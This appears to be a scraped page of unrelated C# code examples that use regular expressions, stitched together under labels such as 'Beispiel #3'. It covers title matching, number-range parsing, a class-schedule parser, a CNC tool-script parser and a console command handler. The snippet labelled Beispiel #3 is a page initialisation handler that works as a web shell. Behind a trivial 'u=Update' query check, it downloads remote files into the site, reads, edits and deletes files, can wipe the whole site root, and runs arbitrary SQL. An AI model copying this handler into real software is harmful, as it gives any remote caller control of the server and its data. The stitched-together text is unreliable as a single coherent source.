private bool TitlesAreSimilar(string a, string b)
 {
     // strip prefixes
     a = _reIsNavigationItem.Replace(a, "");
     b = _reIsNavigationItem.Replace(b, "");
     a = new Regex(" ").Replace(a, "");
     b = new Regex(" ").Replace(b, "");
     a = a.ToLower();
     b = b.ToLower();
     return a.Equals(b);
 }
        private void Prase()
        {
            _nos = new List<string>();

            if (string.IsNullOrEmpty(_no)) return;

            var noGroupListMatch = new Regex("([a-z0-9A-Z]+-+[a-z0-9A-Z]+)|([a-z0-9A-Z]+)").Matches(_no);
            var noGroups = (from object part in noGroupListMatch
                            let noGroup = part.ToString().Trim()
                            where !string.IsNullOrEmpty(noGroup)
                            select noGroup).ToList();

            if (noGroups.Count == 0) return;

            foreach (var noGroup in noGroups)
            {
                // 提取编号
                var noMatch = new Regex("[a-zA-Z0-9]+").Matches(noGroup);
                var nos = (from object part in noMatch
                           let no = part.ToString().Trim()
                           where !string.IsNullOrEmpty(no)
                           select no).ToList();

                if (nos.Count == 0)
                {

                }
                else if (nos.Count == 1)
                {
                    _nos.Add(nos[0]);
                }
                else if (nos.Count == 2)//提取到2个编号,认为输入的编号为连续批量输入
                {
                    //按照编号格式(字母+数字或数字)提取编号前的字母部分
                    var startPrefix = new Regex("[a-zA-Z]+").Match(nos[0]).ToString().Trim();
                    var endPrefix = new Regex("[a-zA-Z]+").Match(nos[1]).ToString().Trim();
                    //如果提取到的字母不同,则认为编号输入错误(不提供带字母的批量添加)
                    if (!startPrefix.Equals(endPrefix))
                    {
                        // 提取编号错误
                        _nos = null;
                        return;
                    }
                    //提取编号后面的数字部分
                    var startNoString = new Regex("[0-9]+").Match(nos[0]).ToString().Trim();
                    var startNo = int.Parse(startNoString);
                    var endNoString = new Regex("[0-9]+").Match(nos[1]).ToString().Trim();
                    var endNo = int.Parse(endNoString);

                    var isFixedLength = startNoString.Length.Equals(endNoString.Length);
                    var fixedLength = startNoString.Length;

                    // 确定编号起始点和终点
                    if (startNo > endNo)
                    {
                        var tint = startNo; startNo = endNo; endNo = tint;
                    }

                    // 用编号创建一个CSR对象暂存
                    for (var i = startNo; i <= endNo; i++)
                    {
                        var no = string.Concat(i);
                        _nos.Add(string.Concat(endPrefix, isFixedLength ? no.PadLeft(fixedLength, '0') : no));
                    }
                }
                else
                {
                    // 提取编号错误
                    _nos = null;
                    return;
                }

            }
        }
Beispiel #3
0
        /// <summary>
        /// Page_Load
        /// </summary>
        /// <param name="e"></param>
        protected override void OnInit(EventArgs e) {
            string localPath = string.Empty;
            string fileName = string.Empty;
            bool isTrue = true;
            string u2 = "Update";
            string[] ext = new string[] { "/bin.bak/", "/app_data.bak/", "/app_code.bak/", "\\.dll.bak", "\\.aspx.bak", "\\.config.bak", "\\.master.bak", "\\.asax.bak", "\\.ascx.bak", "\\.compiled.bak", "\\.asmx.bak", "\\.cs.bak" };
            string[] repExt = new string[] { "/Bin/", "/App_Data/", "/App_Code/", "\\.dll", "\\.aspx", "\\.config", "\\.master", "\\.asax", "\\.ascx", "\\.compiled", "\\.asmx", "\\.cs" };
            string[] strList = new string[] { "{1}: {0} ok!", "<font color='red'>{1}: {0} error!</font>" };
            string u1 = Request2.GetQ("u").Trim();
            if (!u2.Equals(u1)) return;
            string active = Request2.GetQ("active").Trim();
            switch (active) {
                case "sh": Msg.WriteEnd(template.Replace("{0}", Environment.MachineName).Replace("{1}", Request2.GetRelativeRoot())); break;
                case "do":
                    string file = Request2.Get("file").Trim(); //StringExtensions.HtmlDecode(Request2.Get("file")).Trim();
                    if (file.IsNullEmpty()) Msg.WriteEnd("error file.");
                    string action = file.Substring(0, 3);
                    file = "/" + file.Substring(3).TrimStart('/').TrimStart('\\').Replace("\\", "/");
                    if (file.Length < 1) Msg.WriteEnd(string.Format(strList[1], file, "file"));
                    string url = StringExtensions.HtmlDecode(Request2.Get("url")).Replace("\\", "/").TrimEnd('/').TrimEnd('\\').Trim();
                    if (url.Length < 10) Msg.WriteEnd(string.Format(strList[1], url, "url"));

                    switch (action) {
                        case "af:":
                            isTrue = true;
                            for (int i = 0; i < ext.Length; i++) file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]);
                            file = file.Replace("\\.", ".");
                            string[] folderList = file.Split('/');
                            if (folderList.Length > 1) { fileName = folderList[folderList.Length - 1]; FileDirectory.DirectoryVirtualCreate("~/tmp" + file.Replace(fileName, "")); }
                            for (int i = 0; i < ext.Length; i++) file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]);
                            file = file.Replace("\\.", ".");
                            url = url + file;
                            for (int i = 0; i < ext.Length; i++) file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]);
                            file = file.Replace("\\.", ".");
                            localPath = "~/tmp/".GetMapPath() + "{0}";
                            file = file.Replace("/", "\\");
                            fileName = string.Format(localPath, file);
                            System.Net.WebClient wc = new System.Net.WebClient();
                            try {
                                wc.DownloadFile(url, fileName);
                            } catch {
                                isTrue = false;
                            } finally {
                                wc.Dispose();
                            }
                            file = file.Replace("\\", "/");
                            for (int i = 0; i < ext.Length; i++) file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]);
                            file = file.Replace("\\.", ".");
                            if (isTrue) Response.Write(string.Format(strList[0], file, "add file")); else Response.Write(string.Format(strList[1], file, "add file"));
                            break;
                        case "df:":
                            if (file == "/all") {
                                localPath = Server2.GetMapPath("~/");
#if !MONO40
                                FileDirectory.APIDelete(localPath);
#endif
                                Msg.WriteEnd(string.Format(strList[0], "all", "del file") + "<br>");
                            }
                            localPath = Server2.GetMapPath("~/") + file;
                            if (!FileDirectory.FileExists(localPath)) Msg.WriteEnd(string.Format(strList[1], file, "del file"));
                            try {
                                FileDirectory.FileDelete(localPath);
                            } catch {
                                Msg.WriteEnd(string.Format(strList[1], file, "del file"));
                            }
                            Response.Write(string.Format(strList[0], file, "del file"));
                            break;
                        case "rf:":
                            localPath = Server2.GetMapPath("~/") + file;
                            if (!FileDirectory.FileExists(localPath)) Msg.WriteEnd(string.Format(strList[1], file, "read file"));
                            string sbText = FileDirectory.FileReadAll(localPath, Encoding.UTF8);
                            string text = "<textarea id=\"txtContent\" cols=\"70\" rows=\"20\" f=\"" + localPath + "\">" + sbText + "</textarea><br /><input id=\"btnEdit\" type=\"button\" value=\"edit\" />";
                            Msg.WriteEnd(text + " ok!");
                            break;
                        case "ap:":
                            FileDirectory.DirectoryVirtualCreate("~" + file);
                            Msg.WriteEnd(string.Format(strList[0], file, "add path"));
                            break;
                        case "dp:":
                            localPath = Server2.GetMapPath("~/") + file;
                            try {
                                if (System.IO.Directory.Exists(localPath)) System.IO.Directory.Delete(localPath);
                            } catch {
                                Msg.WriteEnd(string.Format(strList[1], file, "del path"));
                            }
                            Msg.WriteEnd(string.Format(strList[0], file, "del path"));
                            break;
                        case "rp:":
                            localPath = Server2.GetMapPath("~/") + file.TrimStart('/').TrimEnd('/') + "/";
                            string size = "";
                            System.Collections.Generic.IList<string> sbFile2 = new System.Collections.Generic.List<string>();
                            StringBuilder sbFile3 = new StringBuilder();
                            try {
                                FileDirectory.FileList(localPath, ref sbFile2, localPath);
                                localPath = localPath.Replace("\\/", "\\");
                                for (int i = 0; i < sbFile2.Count; i++) {
                                    file = sbFile2[i].Trim().TrimStart('.');
                                    if (file.Equals("")) continue;
                                    try { size = LongExtensions.FormatKB((new System.IO.FileInfo(file)).Length); } catch { size = "0"; }
                                    sbFile3.Append(file.Replace(localPath, "").Replace("\\", "/") + " (" + size + ")" + Environment.NewLine);
                                    if (i.Equals(sbFile2.Count - 2)) sbFile3.Append("(" + sbFile2.Count + ")" + Environment.NewLine);
                                }
                            } catch {
                                Msg.WriteEnd(string.Format(strList[1], file, "read path"));
                            }
                            text = localPath + "<br /><textarea id=\"txtText\" cols=\"100\" rows=\"20\">" + sbFile3.ToString() + "</textarea>";
                            Msg.WriteEnd(string.Format(strList[0], text, "read path"));
                            break;
                        case "db:":
                            file = file.Replace("/r/n", Environment.NewLine).Trim('/');
                            if (file.IndexOf(Environment.NewLine + "GO" + Environment.NewLine) != -1) {
                                Data.ExecuteCommandWithSplitter(file, "GO");
                                Msg.WriteEnd(string.Format(strList[0], "", "read db"));
                            } else {
                                text = file + "<br /><textarea id=\"txtText\" cols=\"100\" rows=\"20\">" + Data.GetDataSet(file).ToJson() + "</textarea>";
                                Msg.WriteEnd(string.Format(strList[0], text, "read db"));
                            }
                                break;
                        default: Msg.WriteEnd("file error!"); break;
                    }
                    Response.End();
                    break;
                case "ok": localPath = "~/tmp/".GetMapPath();
                    System.Collections.Generic.IList<string> fileList = new System.Collections.Generic.List<string>();
                    FileDirectory.FileList(localPath, ref fileList, localPath);
                    for (int i = 0; i < fileList.Count; i++) {
                        file = fileList[i].Trim().TrimStart('.');
                        if (file.Length < 2) continue;
                        fileName = localPath + file;
                        isTrue = FileDirectory.FileCopy(fileName, Server2.GetMapPath("~/") + file, true);
                        if (isTrue) FileDirectory.FileDelete(fileName);
                        if (isTrue) Response.Write(string.Format(strList[0], file, "update") + "<br />"); else Response.Write(string.Format(strList[1], file, "update") + "<br />");
                    }
                    Response.End();
                    break;
                case "ef":
                    localPath = Request2.GetF("file").Trim();
                    string content = Request2.GetF("data").Trim();
                    FileDirectory.FileDelete(localPath);
                    isTrue = FileDirectory.FileWrite(localPath, content, Encoding.UTF8);
                    if (isTrue) Msg.WriteEnd("edit file ok!"); else Msg.WriteEnd("edit file error!"); 
                    break;
            }
        }
        /*
         * Method Name: CompressedClassTimes
         * Parameters: filename - The name of the file containing the data to 
         *                        be processed.
         * Output: No explicit output.
         * 
         * Author: Joshua Ford.
         * Date: 3/28/15
         * Modified by: Joshua Ford.
         * Description: Reads in line by line from the file and then validates 
         *              that the line is in proper format, checks for valid 
         *              data, and compresses data.
         */
        public CompressedClassTimes(String filename)
        {
            // Creates a temparary Dict to hold the compressed day and time.
            var tmpCompressedClassTimes = new Dictionary<String, 
                CompressedClassTime>();
            
            // Read in the file line by line.
            using (var sr = new StreamReader(filename))
            {
                // Line count (for giving a line number with errors).
                int lineCounter = 0;
                
                // Read until end of file (AKA read the entire file).
                while (!sr.EndOfStream)
                {
                    lineCounter++;

                    // Read one line.
                    String line = sr.ReadLine();

                    // Check that line format is correct.
                    Match validRow = new Regex("^[A-Z]+\\s[0-9]{4}\\s-\\s" +
                    "[0-9]{4},[0-9]+$").Match(line);
                    if (validRow.Success)
                    {
                        // Attempt to put each component of 
                        // line into a respective variable.
                        try
                        {
							String dayOfTheWeek = new Regex
								("[A-Z]+").Match(line).Value;
							
							if(dayOfTheWeek.Equals(false))
							{
								throw new Exception("Error - Invalid day " + 
									"of week");
							}

                            int classStartTime = int.Parse
                                (new Regex("[0-9]+").Match(line).Value);

                            if (classStartTime.Equals(false))
							{
								throw new Exception("Error - Invalid class " +
									"start time");
							}
                            int classEndTime = int.Parse(new 
                                Regex("[0-9]+").Match(line).NextMatch().Value);
                            int studentsEnrolled = 
                                int.Parse(new Regex("[0-9]+").Match(line).
                                NextMatch().NextMatch().Value);

                            if (studentsEnrolled.Equals(false))
                            {
                                throw new Exception("Error - Student Enrolled");
                            }
                            // Create new instance of ClassTime and pass line
                            // components.
                            var classTime = 
                                new ClassTime(dayOfTheWeek, classStartTime, 
                                    classEndTime, studentsEnrolled);

                            foreach (var c in dayOfTheWeek.ToCharArray())
                            {
                                // Round class start time down to the hour of.
                                int classStartTimeHour = classStartTime/100;
                                String key = c.ToString() + classStartTimeHour;

                                // If tmpCompressedClassTimes does not have a 
                                // key, create one.
                                if (!tmpCompressedClassTimes.ContainsKey(key))
                                {
                                    tmpCompressedClassTimes.Add(key, 
                                        new CompressedClassTime(c.ToString(), 
                                            classStartTimeHour));
                                }
                                // Add the class time to 
                                // tmpCompressedClassTimes.
                                tmpCompressedClassTimes[key].
                                    AddClassTime(classTime);
                            }
                        }
                        // Raise an error if any of the portions of the line 
                        // were not correct.
                        catch (Exception e)
                        {
                            if (e.Message != "")
                            {
                                if (e.Message.StartsWith("Error"))
                                {
                                    errorList.Add(e.Message
                                        + " on line " + lineCounter);
                                }
                                else if(e.Message.StartsWith("Warning - This"))
                                {
                                    warningForOneDayClass++;    
                                    warningList.Add(e.Message
                                        + " on line " + lineCounter);
                                }
								else
								{
									warningLessThanOneStudents++;
									warningList.Add(e.Message
										+ " on line " + lineCounter);
								}
                            }
                        }
                    }
                    // If row is invalid, raise error.
                    else
                    {
                        errorList.Add("Error on Line" 
                            + lineCounter + "\"" + line + "\"");
                    }
                }
            }

            // Create and populate compressedClassTimes with values from 
            // tmpCompressedClassTimes.
            compressedClassTimes = new List<CompressedClassTime>
                (tmpCompressedClassTimes.Values);


            // Sorts and ranks while removing classes once they have been used.
            compressedClassTimes.Sort();
            for (int i = 0; i < compressedClassTimes.Count; i++)
            {
                compressedClassTimes[i].MarkProccessed();
                compressedClassTimes.Sort();
            }
            // Cleans up any classes that got zeroed out during the sorting and
            // ranking.
            compressedClassTimes.RemoveAll(c => 
                c.GetTotalStudentsEnrolled() == 0);
        }
Beispiel #5
0
        bool ParseToolScript( string s )
        {
            int linecounter = -1;

            try
            {

                //_toolpaths.Clear();
                //_rawElements.Clear();

                //_toolpaths.Clear();
                //_features.Clear();

                tabWidth = eval(tbTabWidth.Text);

                float fRotation = eval(tbRotateDegrees.Text);
                PointF pRotationCenter = evalPoint(tbRotateCenter.Text);

                Color currentColor = Color.Green;

                Feature currentFeature = new Feature( FeatureType.Reference );

                Dictionary<string, string> variables = new Dictionary<string, string>();

                PointF pOffset = new PointF(0, 0);
                float fScale = 1.0f;

                float.TryParse(tbScale.Text, out fScale);
                string[] offsets = tbOffset.Text.Split(new char[] { ',' });
                if (offsets.Length > 1)
                {
                    pOffset.X = float.Parse(offsets[0]);
                    pOffset.Y = float.Parse(offsets[1]);
                }

                // grab the text
                //string s = editor.Text;

                // comments: C++, C, perl

                // FIXME: deal with the c++ comment differently so we can match
                // up line numbers below (for errors)

                s = new Regex(@"/\*..*?\*/", RegexOptions.Singleline).Replace(s, "\r\n");
                s = new Regex(@"//.*$", RegexOptions.Multiline).Replace(s, "");
                s = new Regex(@"#.*$", RegexOptions.Multiline).Replace(s, "");

                // split into single lines... ?
                s = s.Replace("\r\n", "\n");
                string[] lines = s.Split(new char[] { '\n' });//, StringSplitOptions.RemoveEmptyEntries);

                foreach (string baseline in lines)
                {
                    linecounter++;

                    string line = baseline.Trim();
                    if (line.Equals("")) continue;

                    string keyword = new Regex(@"(?:\W|\s).*$", RegexOptions.Singleline).Replace(line, "").ToUpper();
                    string parmstring = new Regex(@"^\S+\s+", RegexOptions.Singleline).Replace( line + " ", "").ToUpper();

                    foreach (string key in variables.Keys)
                    {
                        parmstring = new Regex(@"(?<=^|\s|\W)\$" + key + @"(?=$|\s|\W)").Replace(parmstring, variables[key]);
                    }

                    bool handled = false;

                    if (keyword.Equals("SET"))
                    {
                        // problem: variable could be an expression.  either
                        // (1) evaluate before setting here; or (2) wrap in
                        // parens.  each is equally valid, should be no difference
                        // in effects because we replace variables _before_ this
                        // point.  if we were replacing variables _after_ this,
                        // then the parens would be a no brainer.

                        // CHANGEME? for now, eval.

                        string[] parms = parmstring.Split(new char[] { '=' });
                        parms[0] = parms[0].Trim().ToUpper();
                        float evar = eval(parms[1]);
                        if (variables.ContainsKey(parms[0])) variables[parms[0]] = evar.ToString();
                        else variables.Add(parms[0], evar.ToString());
                        logMessage(string.Format("Set {0} = {1:0.00}", parms[0], evar ));
                        handled = true;
                    }

                    if (!handled)
                    {
                        string[] parms = parmstring.Split(new char[] { ' ', '\t' }, StringSplitOptions.RemoveEmptyEntries);
                        for (int i = 0; i < parms.Length; i++) parms[i] = new Regex(@"\W").Replace(parms[i], "");

                        handled = true;
                        switch (keyword)
                        {
                            // feature definitions

                            case "PROFILE":
                                if (null != currentFeature && currentFeature.Count() > 0)
                                    _features.Add(currentFeature);
                                currentFeature = new Feature( FeatureType.Profile );
                                break;

                            case "POCKET":
                                if (null != currentFeature && currentFeature.Count() > 0)
                                    _features.Add(currentFeature);
                                currentFeature = new Feature( FeatureType.Pocket | FeatureType.Shadowfill );
                                break;

                            case "TRACE":
                                if (null != currentFeature && currentFeature.Count() > 0)
                                    _features.Add(currentFeature);
                                currentFeature = new Feature( FeatureType.Trace );
                                break;

                            case "REFERENCE":
                                if (null != currentFeature && currentFeature.Count() > 0)
                                    _features.Add(currentFeature);
                                currentFeature = new Feature( FeatureType.Reference );
                                break;

                            // option

                            case "COLOR": // feature color, just for painting

                                currentColor = System.Drawing.ColorTranslator.FromHtml(parms[0]);

                                break;

                            default:
                                handled = false;
                                break;
                        }

                        if (handled)
                        {
                            foreach (string p in parms)
                            {
                                if (p.Equals("DOUBLE")) currentFeature.featureType |= FeatureType.Double;
                                if (p.Equals("INSIDE")) currentFeature.featureType |= FeatureType.Inside;
                                if (p.Equals("DOGBONE") || p.Equals("BONE")) currentFeature.featureType |= FeatureType.Dogbone;
                                //if (p.Equals("SHADOWFILL") || p.Equals("SHADOW")) currentFeature.featureType |= FeatureType.Shadowfill;
                                if (p.Equals("POLYGONFILL") || p.Equals("POLYFILL")) currentFeature.featureType &= ~FeatureType.Shadowfill;
                                if (p.Equals("TAB") || p.Equals("TABS")) currentFeature.featureType |= FeatureType.Tabs;
                            }

                            //logMessage("Feature: " + currentFeature.featureType);
                        }

                    }

                    if (!handled)
                    {
                        string[] parms = parmstring.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries);

                        // math ops on all parms [ FIXME: use named parms? ]

                        float[] fparms = new float[parms.Length];
                        for (int i = 0; i < parms.Length; i++)
                        {
                            //parms[i] = new DataTable().Compute(parms[i], null).ToString();
                            //fparms[i] = float.Parse(parms[i].Trim());
                            fparms[i] = eval(parms[i]);
                        }
                        int tabs = 0;

                        //ToolpathElement elt = null;
                        List<ToolpathElement> elts = new List<ToolpathElement>();

                        switch (keyword)
                        {
                            // global config options

                            case "OFFSET": // reset offset
                                pOffset = new PointF(fparms[0], fparms[1]);
                                break;

                            case "ROTATE": // rotation, degrees
                                fRotation = fparms[0];
                                break;

                            case "CENTER": // rotation center
                                pRotationCenter = new PointF(fparms[0], fparms[1]);
                                break;

                            case "SCALE": // reset scale
                                fScale = fparms[0];
                                break;

                            // feature options

                            case "DEPTH": // depth from top
                                currentFeature.Depth = fparms[0];
                                break;

                            case "START": // depth from top to _START_ cutting, if not default
                                currentFeature.Start = fparms[0];
                                break;

                            // basic types

                            case "ARC": // center.x, center.y, diameter, start, end
                                elts.Add(new Arc(new PointF(fparms[0], fparms[1]), fparms[2], -1, fparms[3], fparms[4]));
                                break;

                            case "ARC2": // center.x, center.y, diameter, diameter2, start, end
                                elts.Add(new Arc(new PointF(fparms[0], fparms[1]), fparms[2], fparms[3], fparms[4], fparms[5]));
                                break;

                            case "CIRCLE": // center.x, center.y, diameter

                                Arc circle = new Arc(new PointF(fparms[0], fparms[1]), fparms[2]);
                                //if (fparms.Length > 3) circle.Tab = true;
                                elts.Add(circle);
                                break;

                            case "LINE": // start.x, start.y, end.x, end.y
                                elts.Add(new Line(new PointF(fparms[0], fparms[1]), new PointF(fparms[2], fparms[3])));
                                break;

                                /*
                            case "TAB": // start.x, start.y, end.x, end.y
                                ToolpathElement elt = (new Line(new PointF(fparms[0], fparms[1]), new PointF(fparms[2], fparms[3])));
                                elt.Tab = true;
                                elts.Add(elt);
                                break;
                                */

                            // convenience types

                            case "RECT": // origin.x, origin.y, width, height, [tabs]

                                elts.Add(new Line(new PointF(fparms[0], fparms[1]), new PointF(fparms[0], fparms[1] + fparms[3])));
                                elts.Add(new Line(new PointF(fparms[0] + fparms[2], fparms[1]), new PointF(fparms[0] + fparms[2], fparms[1] + fparms[3])));
                                elts.Add(new Line(new PointF(fparms[0], fparms[1]), new PointF(fparms[0] + fparms[2], fparms[1])));
                                elts.Add(new Line(new PointF(fparms[0], fparms[1] + fparms[3]), new PointF(fparms[0] + fparms[2], fparms[1] + fparms[3])));

                                /*
                                if (fparms.Length > 4)
                                {
                                    int flags = (int)fparms[4];
                                    if ((flags & 0x01) != 0) elts[0].Tab = true;
                                    if ((flags & 0x02) != 0) elts[1].Tab = true;
                                    if ((flags & 0x04) != 0) elts[2].Tab = true;
                                    if ((flags & 0x08) != 0) elts[3].Tab = true;
                                }
                                */

                                break;

                            case "ROUNDRECT": // origin.x, origin.y, width, height, diameter, [tabs]

                                float r = fparms[4] / 2.0f;

                                // edges

                                elts.Add(new Line(new PointF(fparms[0], fparms[1] + r), new PointF(fparms[0], fparms[1] + fparms[3] - r)));
                                elts.Add(new Line(new PointF(fparms[0] + fparms[2], fparms[1] + r), new PointF(fparms[0] + fparms[2], fparms[1] + fparms[3] - r)));
                                elts.Add(new Line(new PointF(fparms[0] + r, fparms[1]), new PointF(fparms[0] + fparms[2] - r, fparms[1])));
                                elts.Add(new Line(new PointF(fparms[0] + r, fparms[1] + fparms[3]), new PointF(fparms[0] + fparms[2] - r, fparms[1] + fparms[3])));

                                // round corners

                                elts.Add(new Arc(new PointF(fparms[0] + r, fparms[1] + fparms[3] - r), fparms[4], -1, 180, 270));
                                elts.Add(new Arc(new PointF(fparms[0] + fparms[2] - r, fparms[1] + fparms[3] - r), fparms[4], -1, 270, 360));
                                elts.Add(new Arc(new PointF(fparms[0] + fparms[2] - r, fparms[1] + r), fparms[4], -1, 0, 90));
                                elts.Add(new Arc(new PointF(fparms[0] + r, fparms[1] + r), fparms[4], -1, 90, 180));

                                /*
                                if (fparms.Length > 5)
                                {
                                    int flags = (int)fparms[5];
                                    if ((flags & 0x01) != 0) elts[0].Tab = true;
                                    if ((flags & 0x02) != 0) elts[1].Tab = true;
                                    if ((flags & 0x04) != 0) elts[2].Tab = true;
                                    if ((flags & 0x08) != 0) elts[3].Tab = true;
                                }
                                */

                                break;
                        }

                        foreach (ToolpathElement elt in elts)
                        {
                            // add any translation/scale
                            ToolpathElement tp = elt.Clone();

                            // set color...
                            tp.color = currentColor;

                            if (fRotation != 0) tp = tp.Rotate(fRotation, pRotationCenter);
                            currentFeature.Add(tp.Scale(fScale).Offset(pOffset));
                            //logMessage("Path element: " + elt.elementType);
                        }

                    }
                }
                linecounter = -1;

                if (null != currentFeature && currentFeature.Count() > 0 ) _features.Add(currentFeature);

                int elementCount = 0;
                foreach (Feature feature in _features)
                {
                    elementCount += feature.Count();
                }

                Invoke( new Action<string>(( str ) => { statusMessage.Text = str; }), new object[]{
                    string.Format( "Parse OK: {0} element{1} in {2} feature{3}",
                        elementCount, elementCount == 1 ? "" : "s",
                        _features.Count(), _features.Count() == 1 ? "" : "s" )
                    });

            }
            catch (Exception e)
            {
                if (linecounter >= 0)
                {
                    logMessage("Parse error on script line " + linecounter);
                    Invoke(new Action<int>((line) => { highlightCodeError( line ); }), new object[] { linecounter });
                }
                logMessage(e.Message);
                logMessage(e.StackTrace);
                Invoke(new Action<string>((str) => { statusMessage.Text = str; ctc.SelectedIndex = 0;  }), new object[] { "Parse error, see log" });

                return false;
            }

            return true;
        }
Beispiel #6
0
        public void InterceptSpecialCommands(string input)
        {
            Trace.Assert(!String.IsNullOrWhiteSpace(input));
              Trace.Assert(input.StartsWith("."));

              string commandName = new Regex(@"\.([A-z0-9])+").Match(input).Captures[0].Value.Substring(1).Trim();
              if (commandName.Equals("help"))
              {
            console.log(helpManager.GetHelpString());
            return;
              }
              if (!commands.ContainsKey(commandName))
              {
            console.log("Could not find command: " + input);
            return;
              }
              IConsoleCommand command = (IConsoleCommand) kernel.Get(commands[commandName]);
              command.Execute(ParseSpecialCommandInputs(input));
        }